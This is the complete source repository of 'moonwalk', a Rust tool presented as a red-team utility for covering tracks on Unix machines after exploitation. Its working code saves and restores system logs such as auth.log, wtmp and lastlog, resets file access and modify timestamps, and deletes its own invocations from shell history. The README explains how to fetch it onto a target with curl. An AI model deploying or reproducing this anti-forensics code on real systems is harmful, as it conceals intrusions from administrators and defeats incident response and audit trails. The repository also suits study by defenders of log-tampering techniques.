├── .github
└── workflows
│ └── release.yml
├── .gitignore
├── Cargo.toml
├── LICENSE
├── README.md
└── src
├── core
├── clear.rs
├── fs.rs
├── logger.rs
├── messages.rs
├── mod.rs
├── parsers.rs
├── recon.rs
└── values.rs
├── main.rs
└── start.rs
/.github/workflows/release.yml:
--------------------------------------------------------------------------------
1 | name: moonwalk Release Action
2 |
3 | on:
4 | push:
5 |
6 | jobs:
7 | build-ubuntu:
8 | runs-on: ubuntu-latest
9 |
10 | steps:
11 | - name: Checkout
12 | uses: actions/checkout@v2
13 |
14 | - name: Install latest rust toolchain
15 | uses: actions-rs/toolchain@v1
16 | with:
17 | toolchain: stable
18 | default: true
19 | override: true
20 |
21 | - name: Build for Linux
22 | run: cargo build --all --release && strip target/release/moonwalk && mv target/release/moonwalk target/release/moonwalk_linux
23 |
24 | - name: Release
25 | uses: softprops/action-gh-release@v1
26 | if: startsWith(github.ref, 'refs/tags/')
27 | with:
28 | files: |
29 | target/release/moonwalk_linux
30 | env:
31 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
32 |
33 | build-mac:
34 | runs-on: macos-latest
35 |
36 | steps:
37 | - name: Checkout
38 | uses: actions/checkout@v2
39 |
40 | - name: Install latest rust toolchain
41 | uses: actions-rs/toolchain@v1
42 | with:
43 | toolchain: stable
44 | target: x86_64-apple-darwin
45 | default: true
46 | override: true
47 |
48 | - name: Build for Mac
49 | run: cargo build --all --release && strip target/release/moonwalk && mv target/release/moonwalk target/release/moonwalk_darwin
50 |
51 | - name: Release
52 | uses: softprops/action-gh-release@v1
53 | if: startsWith(github.ref, 'refs/tags/')
54 | with:
55 | files: |
56 | target/release/moonwalk_darwin
57 | env:
58 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
59 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Generated by Cargo
2 | # will have compiled files and executables
3 | /target/
4 |
5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
7 | Cargo.lock
8 |
9 | # These are backup files generated by rustfmt
10 | **/*.rs.bk
11 |
--------------------------------------------------------------------------------
/Cargo.toml:
--------------------------------------------------------------------------------
1 | [package]
2 | name = "moonwalk"
3 | version = "1.0.0"
4 | edition = "2018"
5 |
6 | [dependencies]
7 | colored = "2.0.0"
8 | users = "0.11.0"
9 | serde = { version = "1.0.132", features = ["derive"] }
10 | serde_json = "1.0.73"
11 | once_cell = "1.9.0"
12 |
13 | [profile.release]
14 | lto = 'thin'
15 | panic = 'abort'
16 | codegen-units = 1
17 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Mufeed VH
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
moonwalk
3 |
Cover your tracks during Linux Exploitation / Penetration Testing by leaving zero traces on system logs and filesystem timestamps.
4 |

5 |

6 |
7 |
8 | ---
9 |
10 | ## 📖 Table of Contents
11 |
12 | - [Introduction](#%E2%84%B9%EF%B8%8F-introduction)
13 | - [Features](#features)
14 | - [Installation](#installation)
15 | - [Usage](#usage)
16 | - [Contribution](#contribution)
17 | - [License](#license)
18 |
19 | ## ℹ️ Introduction
20 |
21 | **moonwalk** is a 400 KB single-binary executable that can clear your traces while penetration testing a **Unix** machine. It saves the state of system logs pre-exploitation and reverts that state including the filesystem timestamps post-exploitation leaving zero traces of a _ghost in the shell_.
22 |
23 | ⚠️ **NOTE:** This tool is open-sourced to assist solely in [**Red Team**](https://en.wikipedia.org/wiki/Red_team) operations and in no means is the author liable for repercussions caused by any prohibited use of this tool. Only make use of this in a machine you have permission to test.
24 |
25 | ## Features
26 |
27 | - **Small Executable:** Get started quickly with a `curl` fetch to your target machine.
28 | - **Fast:** Performs all session commands including logging, trace clearing, and filesystem operations in under 5 milliseconds.
29 | - **Reconnaissance:** To save the state of system logs, `moonwalk` finds a world-writable path and saves the session under a dot directory which is removed upon ending the session.
30 | - **Shell History:** Instead of clearing the whole history file, `moonwalk` reverts it back to how it was including the invokation of `moonwalk`.
31 | - **Filesystem Timestamps:** Hide from the Blue Team by reverting the access/modify timestamps of files back to how it was using the [`GET`](#usage) command.
32 |
33 | ## Installation
34 |
35 | ```
36 | $ curl -L https://github.com/mufeedvh/moonwalk/releases/download/v1.0.0/moonwalk_linux -o moonwalk
37 | ```
38 |
39 | (`AMD x86-64`)
40 |
41 | **OR**
42 |
43 | Download the executable from [**Releases**](https://github.com/mufeedvh/moonwalk/releases) OR Install with `cargo`:
44 |
45 | $ cargo install --git https://github.com/mufeedvh/moonwalk.git
46 |
47 | [Install Rust/Cargo](https://rust-lang.org/tools/install)
48 |
49 | ## Build From Source
50 |
51 | **Prerequisites:**
52 |
53 | * [Git](https://git-scm.org/downloads)
54 | * [Rust](https://rust-lang.org/tools/install)
55 | * Cargo (Automatically installed when installing Rust)
56 | * A C linker (Only for Linux, generally comes pre-installed)
57 |
58 | ```
59 | $ git clone https://github.com/mufeedvh/moonwalk.git
60 | $ cd moonwalk/
61 | $ cargo build --release
62 | ```
63 |
64 | The first command clones this repository into your local machine and the last two commands enters the directory and builds the source in release mode.
65 |
66 | ## Usage
67 |
68 |
69 |
70 |
71 |  |
72 |
73 |
74 |
75 |
76 | Once you get a shell into the target Unix machine, start a moonwalk session by running this command:
77 |
78 | $ moonwalk start
79 |
80 | While you're doing recon/exploitation and messing with any files, get the `touch` timestamp command of a file beforehand to revert it back after you've accessed/modified it:
81 |
82 | $ moonwalk get ~/.bash_history
83 |
84 | Post-exploitation, clear your traces and close the session with this command:
85 |
86 | $ moonwalk finish
87 |
88 | That's it!
89 |
90 | ## Contribution
91 |
92 | Ways to contribute:
93 |
94 | - Suggest a feature
95 | - Report a bug
96 | - Fix something and open a pull request
97 | - Help me document the code
98 | - Spread the word
99 | - Find something I missed which leaves any trace!
100 |
101 | ## License
102 |
103 | Licensed under the MIT License, see LICENSE for more information.
104 |
--------------------------------------------------------------------------------
/src/core/clear.rs:
--------------------------------------------------------------------------------
1 | use std::io::Result;
2 |
3 | use super::{
4 | values,
5 | fs::FileSystem,
6 | logger::TMP_LOG_DIR
7 | };
8 |
9 | /// Clears every invokation of `moonwalk` from shell history
10 | pub fn clear_me_from_history() -> Result<()> {
11 | const HISTORY_FILES: [&str; 2] = ["~/.bash_history", "~/.zsh_history"];
12 |
13 | // get current authenticated user
14 | let user = &values::CURR_USER;
15 |
16 | for file in HISTORY_FILES {
17 | let mut file_path: String = String::from(file);
18 |
19 | // parse and resolve `~/` home path
20 | if file_path.starts_with('~') {
21 | let current_user = format!(
22 | "/home/{:?}/",
23 | user.name()
24 | ).replace('"', "");
25 |
26 | file_path = file_path.replace("~/", ¤t_user);
27 | }
28 |
29 | let mut write_buffer = String::new();
30 |
31 | if FileSystem::file_exists(&file_path) {
32 | let history_file_bytes = FileSystem::read(&file_path)?;
33 |
34 | let file_contents = String::from_utf8_lossy(
35 | &history_file_bytes
36 | );
37 |
38 | for line in file_contents.lines() {
39 | let condition = line.contains("moonwalk") || line.contains("MOONWALK");
40 |
41 | if !condition {
42 | write_buffer.push_str(line);
43 | write_buffer.push('\n')
44 | }
45 | }
46 |
47 | FileSystem::write(
48 | &file_path,
49 | write_buffer.as_bytes()
50 | )?;
51 | }
52 | }
53 |
54 | // finally remove the logging directory
55 | FileSystem::remove_dir(&TMP_LOG_DIR)?;
56 |
57 | Ok(())
58 | }
--------------------------------------------------------------------------------
/src/core/fs.rs:
--------------------------------------------------------------------------------
1 | use std::fs;
2 | use std::io::BufReader;
3 | use std::io::prelude::*;
4 | use std::path::Path;
5 | use std::io::Result;
6 | use std::process::Command;
7 |
8 | use super::parsers::nix_stat_parser;
9 |
10 | use serde::{Deserialize, Serialize};
11 |
12 | pub struct FileSystem;
13 |
14 | #[derive(Serialize, Deserialize)]
15 | pub struct FileStat {
16 | pub atime: String,
17 | pub mtime: String,
18 | pub ctime: String
19 | }
20 |
21 | impl FileSystem {
22 | /// Returns stat info of files to parse access/modify timestamps
23 | pub fn file_nix_stat(file_path: &str) -> FileStat {
24 | // return file stats from child process
25 | let child_process = Command::new("stat")
26 | .arg(file_path)
27 | .output()
28 | .expect("failed to execute child process");
29 |
30 | // parse unix timestamp from fs stats
31 | nix_stat_parser(
32 | String::from_utf8_lossy(&child_process.stdout)
33 | )
34 | }
35 |
36 | /// Apply timestamps to files using the touch utility
37 | #[inline]
38 | pub fn change_file_timestamp(file_path: &str, stat: FileStat) {
39 | Command::new("/usr/bin/touch")
40 | .args([
41 | "-a", "-t", &stat.atime,
42 | "-m", "-t", &stat.mtime,
43 | file_path
44 | ])
45 | .output()
46 | .expect("failed to execute child process");
47 | }
48 |
49 | /// Returns if a file path exists or not
50 | #[inline]
51 | pub fn file_exists(file_path: &str) -> bool {
52 | Path::new(file_path).exists()
53 | }
54 |
55 | /// Read a file into bytes
56 | pub fn read(file_path: &str) -> Result> {
57 | let file = fs::File::open(file_path)?;
58 | let mut buf_reader = BufReader::new(file);
59 | let mut contents: Vec = Vec::new();
60 | buf_reader.read_to_end(&mut contents)?;
61 | Ok(contents)
62 | }
63 |
64 | /// Write bytes to a file
65 | pub fn write(file_path: &str, contents: &[u8]) -> Result<()> {
66 | let mut file = fs::File::create(file_path)?;
67 | file.write_all(contents)?;
68 | Ok(())
69 | }
70 |
71 | /// Create a recursive directory
72 | pub fn create_dir(file_path: &str) -> Result<()> {
73 | if !Path::new(file_path).exists() {
74 | fs::create_dir_all(file_path)?
75 | }
76 | Ok(())
77 | }
78 |
79 | /// Remove a directory at absolute path
80 | pub fn remove_dir(file_path: &str) -> Result<()> {
81 | if Path::new(file_path).exists() {
82 | fs::remove_dir_all(file_path)?
83 | }
84 | Ok(())
85 | }
86 | }
--------------------------------------------------------------------------------
/src/core/logger.rs:
--------------------------------------------------------------------------------
1 | use std::io::Result;
2 |
3 | use serde::{Deserialize, Serialize};
4 | use serde_json::{Map, Value};
5 |
6 | use once_cell::sync::Lazy;
7 |
8 | use super::{
9 | values,
10 | fs::{FileSystem, FileStat},
11 | recon::return_wr_dir,
12 | messages::{Type, push_message}
13 | };
14 |
15 | // set the logging directory inside a world writable directory in the target machine
16 | pub static TMP_LOG_DIR: Lazy = Lazy::new(|| {
17 | format!("{}/.MOONWALK", return_wr_dir())
18 | });
19 |
20 | pub(crate) struct Logger;
21 |
22 | #[derive(Serialize, Deserialize)]
23 | struct StatMap {
24 | log_files: Map
25 | }
26 |
27 | impl Logger {
28 | /// Prepares logging directory in a world-writable directory
29 | pub fn init() -> Result<()> {
30 | push_message(
31 | Type::Info,
32 | &format!("Found `{}` as world writable.", *TMP_LOG_DIR)
33 | );
34 | push_message(
35 | Type::Info,
36 | &format!("Set `{}` as the logging directory", *TMP_LOG_DIR)
37 | );
38 | FileSystem::create_dir(&TMP_LOG_DIR)?;
39 | Self::save_state()?;
40 | Ok(())
41 | }
42 |
43 | /// Saves the current state of log files including it's timestamps
44 | pub fn save_state() -> Result<()> {
45 | // get current authenticated user
46 | let user = &values::CURR_USER;
47 |
48 | // initiate a HashMap for saving the current timestamps of log files
49 | let mut file_stat_map = StatMap {
50 | log_files: Map::with_capacity(values::LOG_FILES.len())
51 | };
52 |
53 | // save states of all log files
54 | for log_file in values::LOG_FILES {
55 | let mut log_file: String = String::from(log_file);
56 |
57 | // parse and resolve `~/` home path
58 | if log_file.starts_with('~') {
59 | let current_user = format!(
60 | "/home/{:?}/",
61 | user.name()
62 | ).replace('"', "");
63 |
64 | log_file = log_file.replace("~/", ¤t_user);
65 | }
66 |
67 | if FileSystem::file_exists(&log_file) {
68 | // handle exact fs structure creation under logger directory
69 | let mut path: Vec<&str> = log_file.split('/').collect();
70 | path.pop();
71 | let dir_structure = path.join("/");
72 |
73 | // create the same directory structure moonwalk's tmp dir
74 | FileSystem::create_dir(
75 | &format!("{}{}", *TMP_LOG_DIR, dir_structure)
76 | )?;
77 |
78 | // save target directory path
79 | let save_state_file = format!("{}{}", *TMP_LOG_DIR, log_file);
80 |
81 | // serialize the log file's stat timestamps
82 | let file_stat = FileSystem::file_nix_stat(&log_file);
83 | let stat_time = format!("{}|{}", file_stat.atime, file_stat.mtime);
84 | file_stat_map.log_files.insert(log_file.clone(), stat_time.into());
85 |
86 | // save the log file's current state of bytes
87 | match FileSystem::read(&log_file) {
88 | Ok(contents) => {
89 | FileSystem::write(
90 | &save_state_file,
91 | &contents
92 | )?
93 | },
94 | Err(error) => {
95 | // log the file if it's not authorized to access
96 | if error.to_string().contains("Permission denied") {
97 | push_message(
98 | Type::Skipped,
99 | &format!("Logging `{}` requires sudo privileges.", log_file)
100 | )
101 | } else {
102 | push_message(
103 | Type::Error,
104 | &format!("Couldn't read `{}` because: {}.", log_file, error)
105 | )
106 | }
107 | }
108 | };
109 | }
110 | }
111 |
112 | // save a JSON map of all log file's unix timestamps
113 | let json_config = serde_json::to_string_pretty(&file_stat_map)?;
114 | let save_path = format!("{}/{}", *TMP_LOG_DIR, "log_file_timestamps.json");
115 | FileSystem::write(&save_path, json_config.as_bytes())?;
116 |
117 | push_message(Type::Success, "Saved the current log states.");
118 |
119 | Ok(())
120 | }
121 |
122 | /// Restore the saved state of log files to clear the modification traces
123 | pub fn restore_state() -> Result<()> {
124 | // get current authenticated user
125 | let user = &values::CURR_USER;
126 |
127 | // retrieve timestamps of files
128 | let read_log_json = FileSystem::read(
129 | &format!("{}/{}", *TMP_LOG_DIR, "log_file_timestamps.json")
130 | )?;
131 |
132 | let file_stat_map: StatMap = serde_json::from_slice(&read_log_json)?;
133 |
134 | for log_file in values::LOG_FILES {
135 | let mut log_file: String = String::from(log_file);
136 |
137 | // parse and resolve `~/` home path
138 | if log_file.starts_with('~') {
139 | let current_user = format!(
140 | "/home/{:?}/",
141 | user.name()
142 | ).replace('"', "");
143 |
144 | log_file = log_file.replace("~/", ¤t_user);
145 | }
146 |
147 | let fmt_filename = log_file.clone();
148 |
149 | let read_path = format!("{}{}", *TMP_LOG_DIR, fmt_filename)
150 | .replace('~', "");
151 |
152 | if FileSystem::file_exists(&read_path) {
153 | // restore the initial states of all logged files
154 | match FileSystem::read(&read_path) {
155 | Ok(contents) => {
156 | match FileSystem::write(
157 | &log_file,
158 | &contents
159 | ) {
160 | Ok(()) => (),
161 | Err(error) => {
162 | if error.to_string().contains("Permission denied") {
163 | push_message(
164 | Type::Skipped,
165 | &format!("Writing `{}` requires sudo privileges.", log_file)
166 | )
167 | } else {
168 | push_message(
169 | Type::Error,
170 | &format!("Couldn't write `{}` because: {}.", log_file, error)
171 | )
172 | }
173 | }
174 | }
175 | },
176 | Err(error) => {
177 | push_message(
178 | Type::Error,
179 | &format!("Couldn't read `{}` because: {}.", log_file, error)
180 | )
181 | }
182 | };
183 |
184 | // resolve timestamps of files from stat map
185 | let timestamps: Vec<&str> = file_stat_map.log_files.get(&log_file).unwrap()
186 | .as_str()
187 | .unwrap()
188 | .split('|')
189 | .collect();
190 |
191 | let atime = timestamps[0];
192 | let mtime = timestamps[1];
193 |
194 | let file_stats = FileStat {
195 | atime: atime.into(),
196 | mtime: mtime.into(),
197 | ctime: String::new()
198 | };
199 |
200 | FileSystem::change_file_timestamp(
201 | &log_file,
202 | file_stats
203 | )
204 | }
205 | }
206 |
207 | push_message(Type::Success, "Restored initial machine states.");
208 |
209 | Ok(())
210 | }
211 | }
--------------------------------------------------------------------------------
/src/core/messages.rs:
--------------------------------------------------------------------------------
1 | use colored::*;
2 |
3 | /// Logging message types
4 | pub enum Type {
5 | _Warning,
6 | Skipped,
7 | Error,
8 | Info,
9 | Success,
10 | }
11 |
12 | /// Outputs logging messages
13 | pub fn push_message(log_type: Type, message: &str) {
14 | let prefix = match log_type {
15 | Type::_Warning => format!("{}{}{}", "[".bold(), "WARN".bold().yellow(), "]".bold()),
16 | Type::Skipped => format!("{}{}{}", "[".bold(), "SKIPPED".bold().yellow(), "]".bold()),
17 | Type::Error => format!("{}{}{}", "[".bold(), "ERROR".bold().red(), "]".bold()),
18 | Type::Info => format!("{}{}{}", "[".bold(), "INFO".bold().cyan(), "]".bold()),
19 | Type::Success => format!("{}{}{}", "[".bold(), "SUCCESS".bold().green(), "]".bold())
20 | };
21 |
22 | eprintln!("{}", format!("{} {}", prefix, message))
23 | }
--------------------------------------------------------------------------------
/src/core/mod.rs:
--------------------------------------------------------------------------------
1 | pub mod fs;
2 | pub mod logger;
3 | pub mod messages;
4 | pub mod parsers;
5 | pub mod recon;
6 | pub mod clear;
7 | pub mod values;
--------------------------------------------------------------------------------
/src/core/parsers.rs:
--------------------------------------------------------------------------------
1 | use std::borrow::Cow;
2 | use super::fs::FileStat;
3 |
4 | /// Parses the date time format from `stat` to `[[CC]YY]MMDDhhmm[.ss]` format
5 | #[inline]
6 | pub fn nix_timestamp_parser(
7 | timestamp_str: &str
8 | ) -> String {
9 | let mut fmt_time = String::with_capacity(15);
10 | let mut start_parse: bool = false;
11 | let mut seek_colon: bool = false;
12 |
13 | for c in timestamp_str.chars() {
14 | if c == ' ' { start_parse = true }
15 | if start_parse {
16 | match c {
17 | '-' | ' ' => (),
18 | ':' => {
19 | if seek_colon {
20 | fmt_time.push('.')
21 | }
22 | seek_colon = true;
23 | },
24 | '.' => break,
25 | _ => fmt_time.push(c)
26 | }
27 | }
28 | }
29 |
30 | fmt_time
31 | } // hehe
32 |
33 | /// Offloads the required fields from `stat` to parse timestamps
34 | #[inline]
35 | pub fn nix_stat_parser(
36 | stream: Cow<'_, str>
37 | ) -> FileStat {
38 | let mut atime = String::with_capacity(15);
39 | let mut mtime = String::with_capacity(15);
40 | let ctime = String::new();
41 |
42 | for line in stream.lines() {
43 | if line.contains("Access") && !line.contains("Uid") {
44 | atime = nix_timestamp_parser(line);
45 | } else if line.contains("Modify") {
46 | mtime = nix_timestamp_parser(line)
47 | }
48 | }
49 |
50 | FileStat {
51 | atime,
52 | mtime,
53 | ctime
54 | }
55 | }
--------------------------------------------------------------------------------
/src/core/recon.rs:
--------------------------------------------------------------------------------
1 | use std::process::Command;
2 |
3 | use super::fs::FileSystem;
4 |
5 | /// Returns world-writable directories in the target machine
6 | pub fn return_wr_dir() -> String {
7 | let child_process = Command::new("find")
8 | .args(["/", "-maxdepth", "3", "-type", "d", "-perm", "-777"])
9 | .output()
10 | .expect("failed to execute child process");
11 |
12 | let output = String::from_utf8_lossy(&child_process.stdout);
13 | let dir_list: Vec<&str> = output.lines().collect();
14 |
15 | for dir_path in dir_list {
16 | if dir_path.contains('/') && FileSystem::file_exists(dir_path) {
17 | match FileSystem::create_dir(
18 | &format!("{}/{}", dir_path, ".MOONWALK")
19 | ) {
20 | Ok(()) => return String::from(dir_path),
21 | Err(_) => continue
22 | }
23 | }
24 | }
25 |
26 | String::from("/tmp") // fallback default
27 | }
--------------------------------------------------------------------------------
/src/core/values.rs:
--------------------------------------------------------------------------------
1 | use once_cell::sync::Lazy;
2 | use users::{get_user_by_uid, get_current_uid};
3 |
4 | pub static CURR_USER: Lazy = Lazy::new(|| {
5 | get_user_by_uid(get_current_uid()).unwrap()
6 | });
7 |
8 | /// A list of all the common logging files in a UNIX machine
9 | pub static LOG_FILES: [&str; 23] = [
10 | "~/.bash_history",
11 | "~/.zsh_history",
12 | "~/Library/Logs/DiagnosticReports",
13 | "~/Library/Logs",
14 | "/var/log/messages",
15 | "/var/log/auth.log",
16 | "/var/log/kern.log",
17 | "/var/log/cron.log",
18 | "/var/log/maillog",
19 | "/var/log/boot.log",
20 | "/var/log/mysqld.log",
21 | "/var/log/qmail",
22 | "/var/log/httpd",
23 | "/var/log/lighttpd",
24 | "/var/log/secure",
25 | "/var/log/utmp",
26 | "/var/log/lastlog",
27 | "/var/log/wtmp",
28 | "/var/log/yum.log",
29 | "/var/log/system.log",
30 | "/var/log/DiagnosticMessages",
31 | "Library/Logs",
32 | "Library/Logs/DiagnosticReports"
33 | ]; // Thanks https://github.com/sundowndev/covermyass
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | mod core;
2 | mod start;
3 |
4 | fn main() -> std::io::Result<()> {
5 | start::init()
6 | }
7 |
--------------------------------------------------------------------------------
/src/start.rs:
--------------------------------------------------------------------------------
1 | use std::env;
2 | use std::io::Result;
3 |
4 | use colored::*;
5 |
6 | use crate::core::{
7 | clear::clear_me_from_history,
8 | logger::Logger,
9 | fs::FileSystem,
10 | messages::{Type, push_message}
11 | };
12 |
13 | /// CLI interface invoking user commands
14 | pub fn init() -> Result<()> {
15 | let args: Vec = env::args().collect();
16 |
17 | if args.len() > 1 {
18 | let command = args[1].as_str();
19 |
20 | match command {
21 | "start" => {
22 | // save current machine log states
23 | Logger::init()?;
24 | },
25 | "finish" => {
26 | // restore machine state to how it was
27 | Logger::restore_state()?;
28 | // clear every invokation of moonwalk from shell history
29 | clear_me_from_history()?;
30 | },
31 | "get" => {
32 | if args.len() > 2 {
33 | let filename = args[2].as_str();
34 | let file_stats = FileSystem::file_nix_stat(filename);
35 |
36 | let command = format!(
37 | "touch -a -t {} -m -t {} {}",
38 | file_stats.atime,
39 | file_stats.mtime,
40 | filename
41 | );
42 |
43 | let prefix = format!("{}{}{}", "[".bold(), ">".bold().cyan(), "]".bold());
44 | eprintln!(
45 | "\n{} To restore the access/modify timestamp of this file, use command ↓\n\n $ {}\n",
46 | prefix,
47 | command.magenta()
48 | );
49 |
50 | // clear every invokation of moonwalk from shell history
51 | clear_me_from_history()?;
52 | } else {
53 | push_message(
54 | Type::Error,
55 | "Please specify the filename to get it's timestamp change command."
56 | )
57 | }
58 | },
59 | _ => ()
60 | }
61 | } else {
62 | // print a banner to look cool
63 | eprintln!(
64 | "{}",
65 | "
66 | ┌┬┐┌─┐┌─┐┌┐┌┬ ┬┌─┐┬ ┬┌─
67 | ││││ ││ │││││││├─┤│ ├┴┐
68 | ┴ ┴└─┘└─┘┘└┘└┴┘┴ ┴┴─┘┴ ┴ v1.0.0
69 | ".red()
70 | );
71 |
72 | eprintln!(
73 | "{}\n\n{}{}\n{}{}\n{}{}\n",
74 | "\nUsage".bold().cyan(),
75 | "Start moonwalk:".bold().magenta(),
76 | "\n\n\t$ moonwalk start\n".bold(),
77 | "Finish moonwalk and clear your traces:".bold().magenta(),
78 | "\n\n\t$ moonwalk finish\n".bold(),
79 | "Get the current timestamp of a file to restore it later:".bold().magenta(),
80 | "\n\n\t$ moonwalk get ".bold()
81 | )
82 | }
83 |
84 | Ok(())
85 | }
--------------------------------------------------------------------------------